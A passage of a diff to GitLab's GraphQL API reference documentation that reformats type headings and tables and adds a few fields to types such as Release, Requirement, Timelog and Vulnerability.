enabled for the project | | `snippetsEnabled` | Boolean | Indicates if Snippets are enabled for the current user | | `sshUrlToRepo` | String | URL to connect to the project via SSH | | `starCount` | Int! | Number of times the project has been starred | @@ -1684,16 +1855,16 @@ Information about pagination in a connection. | `tagList` | String | List of project topics (not Git tags) | | `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource | | `visibility` | String | Visibility of the project | -| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each severity of vulnerability of the project | +| `vulnerabilitySeveritiesCount` | VulnerabilitySeveritiesCount | Counts for each vulnerability severity in the project | | `webUrl` | String | Web URL of the project | | `wikiEnabled` | Boolean | Indicates if Wikis are enabled for the current user | -## ProjectMember +### ProjectMember -Represents a Project Member +Represents a Project Membership. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `accessLevel` | AccessLevel | GitLab::Access level | | `createdAt` | Time | Date and time the membership was created | | `createdBy` | User | User that authorized membership | @@ -1704,10 +1875,10 @@ Represents a Project Member | `user` | User! | User that is associated with the member object | | `userPermissions` | ProjectPermissions! | Permissions for the current user on the resource | -## ProjectPermissions +### ProjectPermissions -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminOperations` | Boolean! | Indicates the user can perform `admin_operations` on this resource | | `adminProject` | Boolean! | Indicates the user can perform `admin_project` on this resource | | `adminRemoteMirror` | Boolean! | Indicates the user can perform `admin_remote_mirror` on this resource | @@ -1751,10 +1922,10 @@ Represents a Project Member | `updateWiki` | Boolean! | Indicates the user can perform `update_wiki` on this resource | | `uploadFile` | Boolean! | Indicates the user can perform `upload_file` on this resource | -## ProjectStatistics +### ProjectStatistics -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `buildArtifactsSize` | Float! | Build artifacts size of the project | | `commitCount` | Float! | Commit count of the project | | `lfsObjectsSize` | Float! | Large File Storage (LFS) object size of the project | @@ -1764,21 +1935,21 @@ Represents a Project Member | `storageSize` | Float! | Storage size of the project | | `wikiSize` | Float | Wiki size of the project | -## PrometheusAlert +### PrometheusAlert -The alert condition for Prometheus +The alert condition for Prometheus. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `humanizedText` | String! | The human-readable text of the alert condition | | `id` | ID! | ID of the alert condition | -## Release +### Release -Represents a release +Represents a release. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `assets` | ReleaseAssets | Assets of the release | | `author` | User | User that created the release | | `commit` | Commit | The commit associated with the release | @@ -1790,125 +1961,128 @@ Represents a release | `releasedAt` | Time | Timestamp of when the release was released | | `tagName` | String | Name of the tag associated with the release | | `tagPath` | String | Relative web path to the tag associated with the release | +| `upcomingRelease` | Boolean | Indicates the release is an upcoming release | -## ReleaseAssetLink +### ReleaseAssetLink -Represents an asset link associated with a release +Represents an asset link associated with a release. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `directAssetUrl` | String | Direct asset URL of the link | | `external` | Boolean | Indicates the link points to an external resource | | `id` | ID! | ID of the link | | `linkType` | ReleaseAssetLinkType | Type of the link: `other`, `runbook`, `image`, `package`; defaults to `other` | | `name` | String | Name of the link | | `url` | String | URL of the link | -## ReleaseAssets +### ReleaseAssets -A container for all assets associated with a release +A container for all assets associated with a release. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int | Number of assets of the release | -## ReleaseEvidence +### ReleaseEvidence -Evidence for a release +Evidence for a release. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `collectedAt` | Time | Timestamp when the evidence was collected | | `filepath` | String | URL from where the evidence can be downloaded | | `id` | ID! | ID of the evidence | | `sha` | String | SHA1 ID of the evidence hash | -## ReleaseLinks +### ReleaseLinks -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `editUrl` | String | HTTP URL of the release's edit page | | `issuesUrl` | String | HTTP URL of the issues page filtered by this release | | `mergeRequestsUrl` | String | HTTP URL of the merge request page filtered by this release | | `selfUrl` | String | HTTP URL of the release | -## ReleaseSource +### ReleaseSource -Represents the source code attached to a release in a particular format +Represents the source code attached to a release in a particular format. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `format` | String | Format of the source | | `url` | String | Download URL of the source | -## RemoveAwardEmojiPayload +### RemoveAwardEmojiPayload -Autogenerated return type of RemoveAwardEmoji +Autogenerated return type of RemoveAwardEmoji. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## RemoveProjectFromSecurityDashboardPayload +### RemoveProjectFromSecurityDashboardPayload -Autogenerated return type of RemoveProjectFromSecurityDashboard +Autogenerated return type of RemoveProjectFromSecurityDashboard. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## Repository +### Repository -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `empty` | Boolean! | Indicates repository has no visible content | | `exists` | Boolean! | Indicates a corresponding Git repository exists on disk | | `rootRef` | String | Default branch of the repository | | `tree` | Tree | Tree of the repository | -## Requirement +### Requirement -Represents a requirement +Represents a requirement. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User! | Author of the requirement | | `createdAt` | Time! | Timestamp of when the requirement was created | | `id` | ID! | ID of the requirement | | `iid` | ID! | Internal ID of the requirement | +| `lastTestReportState` | TestReportState | Latest requirement test report state | | `project` | Project! | Project to which the requirement belongs | | `state` | RequirementState! | State of the requirement | | `title` | String | Title of the requirement | | `updatedAt` | Time! | Timestamp of when the requirement was last updated | | `userPermissions` | RequirementPermissions! | Permissions for the current user on the resource | -## RequirementPermissions +### RequirementPermissions -Check permissions for the current user on a requirement +Check permissions for the current user on a requirement. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminRequirement` | Boolean! | Indicates the user can perform `admin_requirement` on this resource | | `createRequirement` | Boolean! | Indicates the user can perform `create_requirement` on this resource | | `destroyRequirement` | Boolean! | Indicates the user can perform `destroy_requirement` on this resource | | `readRequirement` | Boolean! | Indicates the user can perform `read_requirement` on this resource | | `updateRequirement` | Boolean! | Indicates the user can perform `update_requirement` on this resource | -## RequirementStatesCount +### RequirementStatesCount Counts of requirements by their state. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `archived` | Int | Number of archived requirements | | `opened` | Int | Number of opened requirements | -## RootStorageStatistics +### RootStorageStatistics -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `buildArtifactsSize` | Float! | The CI artifacts size in bytes | | `lfsObjectsSize` | Float! | The LFS objects size in bytes | | `packagesSize` | Float! | The packages size in bytes | @@ -1917,33 +2091,33 @@ Counts of requirements by their state. | `storageSize` | Float! | The total storage in bytes | | `wikiSize` | Float! | The wiki size in bytes | -## RunDASTScanPayload +### RunDASTScanPayload -Autogenerated return type of RunDASTScan +Autogenerated return type of RunDASTScan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `pipelineUrl` | String | URL of the pipeline that was created. | -## SastCiConfigurationAnalyzersEntity +### SastCiConfigurationAnalyzersEntity -Represents an analyzer entity in SAST CI configuration +Represents an analyzer entity in SAST CI configuration. -| Name | Type | Description | -| --- | ---- | ---------- | -| `description` | String | Analyzer description that is displayed on the form. | -| `enabled` | Boolean | Indicates whether an analyzer is enabled. | -| `label` | String | Analyzer label used in the config UI. | -| `name` | String | Name of the analyzer. | +| Field | Type | Description | +| ----- | ---- | ----------- | +| `description` | String | Analyzer description that is displayed on the form | +| `enabled` | Boolean | Indicates whether an analyzer is enabled | +| `label` | String | Analyzer label used in the config UI | +| `name` | String | Name of the analyzer | -## SastCiConfigurationEntity +### SastCiConfigurationEntity -Represents an entity in SAST CI configuration +Represents an entity in SAST CI configuration. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `defaultValue` | String | Default value that is used if value is empty. | | `description` | String | Entity description that is displayed on the form. | | `field` | String | CI keyword of entity. | @@ -1952,30 +2126,30 @@ Represents an entity in SAST CI configuration | `type` | String | Type of the field value. | | `value` | String | Current value of the entity. | -## SastCiConfigurationOptionsEntity +### SastCiConfigurationOptionsEntity -Represents an entity for options in SAST CI configuration +Represents an entity for options in SAST CI configuration. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `label` | String | Label of option entity. | | `value` | String | Value of option entity. | -## ScannedResource +### ScannedResource -Represents a resource scanned by a security scan +Represents a resource scanned by a security scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `requestMethod` | String | The HTTP request method used to access the URL | | `url` | String | The URL scanned by the scanner | -## SecurityReportSummary +### SecurityReportSummary -Represents summary of a security report +Represents summary of a security report. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `containerScanning` | SecurityReportSummarySection | Aggregated counts for the container_scanning scan | | `coverageFuzzing` | SecurityReportSummarySection | Aggregated counts for the coverage_fuzzing scan | | `dast` | SecurityReportSummarySection | Aggregated counts for the dast scan | @@ -1983,32 +2157,32 @@ Represents summary of a security report | `sast` | SecurityReportSummarySection | Aggregated counts for the sast scan | | `secretDetection` | SecurityReportSummarySection | Aggregated counts for the secret_detection scan | -## SecurityReportSummarySection +### SecurityReportSummarySection -Represents a section of a summary of a security report +Represents a section of a summary of a security report. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `scannedResourcesCount` | Int | Total number of scanned resources | | `scannedResourcesCsvPath` | String | Path to download all the scanned resources in CSV format | | `vulnerabilitiesCount` | Int | Total number of vulnerabilities | -## SecurityScanners +### SecurityScanners -Represents a list of security scanners +Represents a list of security scanners. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `available` | SecurityScannerType! => Array | List of analyzers which are available for the project. | | `enabled` | SecurityScannerType! => Array | List of analyzers which are enabled for the project. | | `pipelineRun` | SecurityScannerType! => Array | List of analyzers which ran successfully in the latest pipeline. | -## SentryDetailedError +### SentryDetailedError A Sentry error. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int! | Count of occurrences | | `culprit` | String! | Culprit of the error | | `externalBaseUrl` | String! | External Base URL of the Sentry Instance | @@ -2038,12 +2212,12 @@ A Sentry error. | `type` | String! | Type of the error | | `userCount` | Int! | Count of users affected by the error | -## SentryError +### SentryError A Sentry error. A simplified version of SentryDetailedError. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int! | Count of occurrences | | `culprit` | String! | Culprit of the error | | `externalUrl` | String! | External URL of the error | @@ -2062,70 +2236,70 @@ A Sentry error. A simplified version of SentryDetailedError. | `type` | String! | Type of the error | | `userCount` | Int! | Count of users affected by the error | -## SentryErrorCollection +### SentryErrorCollection An object containing a collection of Sentry errors, and a detailed error. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `detailedError` | SentryDetailedError | Detailed version of a Sentry error on the project | | `errorStackTrace` | SentryErrorStackTrace | Stack Trace of Sentry Error | | `errors` | SentryErrorConnection | Collection of Sentry Errors | | `externalUrl` | String | External URL for Sentry | -## SentryErrorFrequency +### SentryErrorFrequency -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int! | Count of errors received since the previously recorded time | | `time` | Time! | Time the error frequency stats were recorded | -## SentryErrorStackTrace +### SentryErrorStackTrace An object containing a stack trace entry for a Sentry error. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `dateReceived` | String! | Time the stack trace was received by Sentry | | `issueId` | String! | ID of the Sentry error | | `stackTraceEntries` | SentryErrorStackTraceEntry! => Array | Stack trace entries for the Sentry error | -## SentryErrorStackTraceContext +### SentryErrorStackTraceContext -An object context for a Sentry error stack trace +An object context for a Sentry error stack trace. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `code` | String! | Code number of the context | | `line` | Int! | Line number of the context | -## SentryErrorStackTraceEntry +### SentryErrorStackTraceEntry An object containing a stack trace entry for a Sentry error. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `col` | String | Function in which the Sentry error occurred | | `fileName` | String | File in which the Sentry error occurred | | `function` | String | Function in which the Sentry error occurred | | `line` | String | Function in which the Sentry error occurred | | `traceContext` | SentryErrorStackTraceContext! => Array | Context of the Sentry error | -## SentryErrorTags +### SentryErrorTags -State of a Sentry error +State of a Sentry error. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `level` | String | Severity level of the Sentry Error | | `logger` | String | Logger of the Sentry Error | -## Snippet +### Snippet -Represents a snippet entry +Represents a snippet entry. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User | The owner of the snippet | | `blob` **{warning-solid}** | SnippetBlob! | **Deprecated:** Use `blobs`. Deprecated in 13.3 | | `blobs` | SnippetBlob! => Array | Snippet blobs | @@ -2144,12 +2318,12 @@ Represents a snippet entry | `visibilityLevel` | VisibilityLevelsEnum! | Visibility Level of the snippet | | `webUrl` | String! | Web URL of the snippet | -## SnippetBlob +### SnippetBlob -Represents the snippet blob +Represents the snippet blob. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `binary` | Boolean! | Shows whether the blob is binary | | `externalStorage` | String | Blob external storage | | `mode` | String | Blob mode | @@ -2163,12 +2337,12 @@ Represents the snippet blob | `simpleViewer` | SnippetBlobViewer! | Blob content simple viewer | | `size` | Int! | Blob size | -## SnippetBlobViewer +### SnippetBlobViewer -Represents how the blob content should be displayed +Represents how the blob content should be displayed. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `collapsed` | Boolean! | Shows whether the blob should be displayed collapsed | | `fileType` | String! | Content file type | | `loadAsync` | Boolean! | Shows whether the blob content is loaded async | @@ -2177,10 +2351,10 @@ Represents how the blob content should be displayed | `tooLarge` | Boolean! | Shows whether the blob too large to be displayed | | `type` | BlobViewersType! | Type of blob viewer | -## SnippetPermissions +### SnippetPermissions -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `adminSnippet` | Boolean! | Indicates the user can perform `admin_snippet` on this resource | | `awardEmoji` | Boolean! | Indicates the user can perform `award_emoji` on this resource | | `createNote` | Boolean! | Indicates the user can perform `create_note` on this resource | @@ -2188,10 +2362,10 @@ Represents how the blob content should be displayed | `reportSnippet` | Boolean! | Indicates the user can perform `report_snippet` on this resource | | `updateSnippet` | Boolean! | Indicates the user can perform `update_snippet` on this resource | -## Submodule +### Submodule -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `flatPath` | String! | Flat path of the entry | | `id` | ID! | ID of the entry | | `name` | String! | Name of the entry | @@ -2201,44 +2375,60 @@ Represents how the blob content should be displayed | `type` | EntryType! | Type of tree entry | | `webUrl` | String | Web URL for the sub-module | -## TaskCompletionStatus +### TaskCompletionStatus -Completion status of tasks +Completion status of tasks. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `completedCount` | Int! | Number of completed tasks | | `count` | Int! | Number of total tasks | -## TestReport +### TerraformStateRegistry + +Represents the sync and verification state of a terraform state. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | Time | Timestamp when the TerraformStateRegistry was created | +| `id` | ID! | ID of the TerraformStateRegistry | +| `lastSyncFailure` | String | Error message during sync of the TerraformStateRegistry | +| `lastSyncedAt` | Time | Timestamp of the most recent successful sync of the TerraformStateRegistry | +| `retryAt` | Time | Timestamp after which the TerraformStateRegistry should be resynced | +| `retryCount` | Int | Number of consecutive failed sync attempts of the TerraformStateRegistry | +| `state` | RegistryState | Sync state of the TerraformStateRegistry | +| `terraformStateId` | ID! | ID of the TerraformState | + +### TestReport Represents a requirement test report. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `author` | User | Author of the test report | | `createdAt` | Time! | Timestamp of when the test report was created | | `id` | ID! | ID of the test report | | `state` | TestReportState! | State of the test report | -## Timelog +### Timelog -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `date` **{warning-solid}** | Time! | **Deprecated:** Use `spentAt`. Deprecated in 12.10 | | `issue` | Issue | The issue that logged time was added to | +| `note` | Note | The note where the quick action to add the logged time was executed | | `spentAt` | Time | Timestamp of when the time tracked was spent at | | `timeSpent` | Int! | The time spent displayed in seconds | | `user` | User! | The user that logged the time | -## Todo +### Todo -Representing a todo entry +Representing a todo entry. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `action` | TodoActionEnum! | Action of the todo | -| `author` | User! | The owner of this todo | +| `author` | User! | The author of this todo | | `body` | String! | Body of the todo | | `createdAt` | Time! | Timestamp this todo was created | | `group` | Group | Group this todo is associated with | @@ -2247,71 +2437,71 @@ Representing a todo entry | `state` | TodoStateEnum! | State of the todo | | `targetType` | TodoTargetEnum! | Target type of the todo | -## TodoMarkDonePayload +### TodoMarkDonePayload -Autogenerated return type of TodoMarkDone +Autogenerated return type of TodoMarkDone. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todo` | Todo! | The requested todo | -## TodoRestoreManyPayload +### TodoRestoreManyPayload -Autogenerated return type of TodoRestoreMany +Autogenerated return type of TodoRestoreMany. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todos` | Todo! => Array | Updated todos | | `updatedIds` **{warning-solid}** | ID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 | -## TodoRestorePayload +### TodoRestorePayload -Autogenerated return type of TodoRestore +Autogenerated return type of TodoRestore. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todo` | Todo! | The requested todo | -## TodosMarkAllDonePayload +### TodosMarkAllDonePayload -Autogenerated return type of TodosMarkAllDone +Autogenerated return type of TodosMarkAllDone. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `todos` | Todo! => Array | Updated todos | | `updatedIds` **{warning-solid}** | ID! => Array | **Deprecated:** Use todos. Deprecated in 13.2 | -## ToggleAwardEmojiPayload +### ToggleAwardEmojiPayload -Autogenerated return type of ToggleAwardEmoji +Autogenerated return type of ToggleAwardEmoji. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `awardEmoji` | AwardEmoji | The award emoji after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `toggledOn` | Boolean! | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. | -## Tree +### Tree -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `lastCommit` | Commit | Last commit for the tree | -## TreeEntry +### TreeEntry -Represents a directory +Represents a directory. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `flatPath` | String! | Flat path of the entry | | `id` | ID! | ID of the entry | | `name` | String! | Name of the entry | @@ -2321,122 +2511,122 @@ Represents a directory | `webPath` | String | Web path for the tree entry (directory) | | `webUrl` | String | Web URL for the tree entry (directory) | -## UpdateAlertStatusPayload +### UpdateAlertStatusPayload -Autogenerated return type of UpdateAlertStatus +Autogenerated return type of UpdateAlertStatus. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `alert` | AlertManagementAlert | The alert after mutation | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue created after mutation | | `todo` | Todo | The todo after mutation | -## UpdateBoardListPayload +### UpdateBoardListPayload -Autogenerated return type of UpdateBoardList +Autogenerated return type of UpdateBoardList. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `list` | BoardList | Mutated list | -## UpdateBoardPayload +### UpdateBoardPayload -Autogenerated return type of UpdateBoard +Autogenerated return type of UpdateBoard. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `board` | Board | The board after mutation. | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## UpdateContainerExpirationPolicyPayload +### UpdateContainerExpirationPolicyPayload -Autogenerated return type of UpdateContainerExpirationPolicy +Autogenerated return type of UpdateContainerExpirationPolicy. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `containerExpirationPolicy` | ContainerExpirationPolicy | The container expiration policy after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## UpdateEpicPayload +### UpdateEpicPayload -Autogenerated return type of UpdateEpic +Autogenerated return type of UpdateEpic. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `epic` | Epic | The epic after mutation | | `errors` | String! => Array | Errors encountered during execution of the mutation. | -## UpdateImageDiffNotePayload +### UpdateImageDiffNotePayload -Autogenerated return type of UpdateImageDiffNote +Autogenerated return type of UpdateImageDiffNote. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## UpdateIssuePayload +### UpdateIssuePayload -Autogenerated return type of UpdateIssue +Autogenerated return type of UpdateIssue. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `issue` | Issue | The issue after mutation | -## UpdateIterationPayload +### UpdateIterationPayload -Autogenerated return type of UpdateIteration +Autogenerated return type of UpdateIteration. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `iteration` | Iteration | The updated iteration | -## UpdateNotePayload +### UpdateNotePayload -Autogenerated return type of UpdateNote +Autogenerated return type of UpdateNote. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `note` | Note | The note after mutation | -## UpdateRequirementPayload +### UpdateRequirementPayload -Autogenerated return type of UpdateRequirement +Autogenerated return type of UpdateRequirement. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `requirement` | Requirement | The requirement after mutation | -## UpdateSnippetPayload +### UpdateSnippetPayload -Autogenerated return type of UpdateSnippet +Autogenerated return type of UpdateSnippet. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `clientMutationId` | String | A unique identifier for the client performing the mutation. | | `errors` | String! => Array | Errors encountered during execution of the mutation. | | `snippet` | Snippet | The snippet after mutation | -## User +### User -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `avatarUrl` | String | URL of the user's avatar | | `email` | String | User email | | `id` | ID! | ID of the user | @@ -2448,26 +2638,26 @@ Autogenerated return type of UpdateSnippet | `webPath` | String! | Web path of the user | | `webUrl` | String! | Web URL of the user | -## UserPermissions +### UserPermissions -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `createSnippet` | Boolean! | Indicates the user can perform `create_snippet` on this resource | -## UserStatus +### UserStatus -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `emoji` | String | String representation of emoji | | `message` | String | User status message | | `messageHtml` | String | HTML of the user status message | -## VulnerabilitiesCountByDay +### VulnerabilitiesCountByDay -Represents the count of vulnerabilities by severity on a particular day +Represents the count of vulnerabilities by severity on a particular day. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `critical` | Int! | Total number of vulnerabilities on a particular day with critical severity | | `date` | ISO8601Date! | Date for the count | | `high` | Int! | Total number of vulnerabilities on a particular day with high severity | @@ -2477,23 +2667,24 @@ Represents the count of vulnerabilities by severity on a particular day | `total` | Int! | Total number of vulnerabilities on a particular day | | `unknown` | Int! | Total number of vulnerabilities on a particular day with unknown severity | -## VulnerabilitiesCountByDayAndSeverity +### VulnerabilitiesCountByDayAndSeverity -Represents the number of vulnerabilities for a particular severity on a particular day +Represents the number of vulnerabilities for a particular severity on a particular day. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `count` | Int | Number of vulnerabilities | | `day` | ISO8601Date | Date for the count | | `severity` | VulnerabilitySeverity | Severity of the counted vulnerabilities | -## Vulnerability +### Vulnerability Represents a vulnerability. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `description` | String | Description of the vulnerability | +| `detectedAt` | Time! | Timestamp of when the vulnerability was first detected | | `id` | ID! | GraphQL ID of the vulnerability | | `identifiers` | VulnerabilityIdentifier! => Array | Identifiers of the vulnerability. | | `location` | VulnerabilityLocation | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability | @@ -2509,99 +2700,99 @@ Represents a vulnerability. | `userPermissions` | VulnerabilityPermissions! | Permissions for the current user on the resource | | `vulnerabilityPath` | String | URL to the vulnerability's details page | -## VulnerabilityIdentifier +### VulnerabilityIdentifier Represents a vulnerability identifier. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `externalId` | String | External ID of the vulnerability identifier | | `externalType` | String | External type of the vulnerability identifier | | `name` | String | Name of the vulnerability identifier | | `url` | String | URL of the vulnerability identifier | -## VulnerabilityIssueLink +### VulnerabilityIssueLink Represents an issue link of a vulnerability. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `id` | ID! | GraphQL ID of the vulnerability | | `issue` | Issue! | The issue attached to issue link | | `linkType` | VulnerabilityIssueLinkType! | Type of the issue link | -## VulnerabilityLocationContainerScanning +### VulnerabilityLocationContainerScanning -Represents the location of a vulnerability found by a container security scan +Represents the location of a vulnerability found by a container security scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `dependency` | VulnerableDependency | Dependency containing the vulnerability | | `image` | String | Name of the vulnerable container image | | `operatingSystem` | String | Operating system that runs on the vulnerable container image | -## VulnerabilityLocationCoverageFuzzing +### VulnerabilityLocationCoverageFuzzing -Represents the location of a vulnerability found by a Coverage Fuzzing scan +Represents the location of a vulnerability found by a Coverage Fuzzing scan. -| Name | Type | Description | -| --- | ---- | ---------- | +| Field | Type | Description | +| ----- | ---- | ----------- | | `endLine` | String | Number of the last relevant line in the vulnerable file | | `file` | String | Path to the vulnerable file | | `startLine` | String | Number of the first relevant line in the vulnerable file | | `vulnerableClass` | String | Class containing the vulnerability | | `vulnerableMethod` | String | Method containing the vulnerability | -## VulnerabilityLocationDast +### 